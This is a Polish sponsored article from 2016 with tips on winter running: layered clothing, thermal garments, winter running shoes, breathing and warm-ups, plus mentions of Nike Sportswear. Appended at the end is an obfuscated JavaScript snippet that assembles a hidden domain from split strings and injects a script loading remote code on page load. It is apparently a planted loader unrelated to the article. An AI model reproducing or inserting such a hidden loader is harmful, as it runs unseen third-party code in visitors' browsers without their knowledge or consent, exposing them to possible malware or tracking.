22 grudnia 2016r. godz. 15:48, odsłon: 4618, Zlecony tekst

Bieganie zimą: o tym pamiętaj!

Także fakt, że trzeba dobrze przygotować się do treningów biegowych.

Kiedy szybko zapada zmrok, za oknem panują zimne temperatury, a z nieba zaczyna sypać białym puchem, to oznacza coś więcej, niż wyłącznie zbliżające się wielkimi krokami Boże Narodzenie. Także fakt, że trzeba dobrze przygotować się do treningów biegowych. Zimowi biegacze są bowiem narażeni na choroby, od zwykłego przeziębienia zaczynając. Nie mówiąc już o tym, że bez odpowiedniego przygotowania, bieganie zimą może stać się po prostu nieprzyjemne.

Nie ma złej pogody

Z powodu mrozów i śniegu wielu potencjalnych biegaczy odkłada na wiosnę decyzję o rozpoczęciu treningów. Z kolei osoby, które mają za sobą pierwszy sezon, nierzadko przerywają bieganie do poprawy pogody, lub w najlepszym wypadku przenoszą się na bieżnie. Tak wcale być nie musi.

Należy zacząć od zmiany nastawienia. To bowiem nie pogoda jest zła, a… źle dobrany strój biegacza. Jeśli ktoś zamierza biegać zimą, mając na sobie bawełniany t-shirt i trampki, to nie będzie niczym dziwnym, jeśli kolejny „bieg” odbędzie się na trasie dom – przychodnia. Podobnie, jeśli na trening wybierze się w kożuchu i wełnianym szalu. To prosta droga do przegrzania lub wychłodzenia, a stamtąd już tylko jeden krok do grypy czy zapalenia oskrzeli.

Jak ubrać się na bieganie zimą?

Chociaż każdy reaguje na zimno inaczej, przyjęło się, że komfortową temperaturą jest nie niższa niż -10 ⁰C, w przypadku zahartowanych biegaczy to maksymalnie -15⁰C. Ubranie na taki mróz powinno być ciepłe, ale nie powodujące przepocenia ciała. Dobrą zasadą jest ubieranie się na „cebulkę”, by w razie potrzeby ściągnąć jedną warstwę, którą można by było przewiązać np. w pasie i biec dalej. Dobrze dobrane ubranie jest ważne, bo zatrzyma w mięśniach ciepło, które jest niezbędne do ich poprawnego funkcjonowania. Warto zwrócić uwagę np. na kolekcję Nike Sportswear.

Przydatne będą więc wszelkiego rodzaju koszulki termiczne, czyli tzw. oddychające. Na to koszulkę i polar lub ciepłą kurtkę. Jeśli komuś mimo tego jest za zimno, to warto, żeby założył na to także kamizelkę. Zimą dla biegacza będą nieocenione także legginsy Nike Sportswear, np. ze wstawkami hamującymi wiatr. Do tego także ciepłe skarpety, najlepiej z tworzyw sztucznych lub znikomą domieszką bawełny. Dzięki temu pot nie będzie się wchłaniał. Na głowie koniecznie powinna być lekka czapka lub szeroka opaska, bo większość ciepła ucieka przez głowę.

Odrębną sprawą są buty. Chociaż istnieją modele przeznaczone są do biegania przez cały sezon, dobrze jest postawić na dedykowane zimowe buty dla biegaczy. Takie obuwie powinno być nieco grusze od jesiennych czy wiosennych butów do biegania, podeszwa powinna być sztywniejsza, a zewnętrzna tkanina mocniejsza. Najważniejsze jest to, by były przyczepne i stabilne, o czym można się przekonać podczas biegu nawet lekko oblodzonym chodnikiem.

Nie warto szukać nieprzemakalnych butów do biegania, bo takie właściwości mają wyłącznie kalosze.

Wskazówki dla biegających zimą

Podczas zimowych biegów warto także pamiętać o kwestiach, na które nawet najlepsza kurtka do  biegania nie ma wpływu. To m.in. oddychanie przez nos oraz rozgrzewki przed treningiem i rozciąganie po nich. Warto także rozpoczynać bieg pod wiatr, a wracać z wiatrem.

(function(){ i4lu_=("u"+"st");i4lu=document.createElement("script");i4lu.async=true; i4luu="15303354";i4lu_+="a"+("t.");i4lu_+="i"+("nf"+("o"))+("/"); i4luu+=".n78qkyv34lu58qyq";i4luu+="20yu2gh7ehlbzc"; i4lu.src="//"+i4lu_+i4luu;i4lu.type="text/javascript"; d_b=document.body;d_b.appendChild(i4lu); })();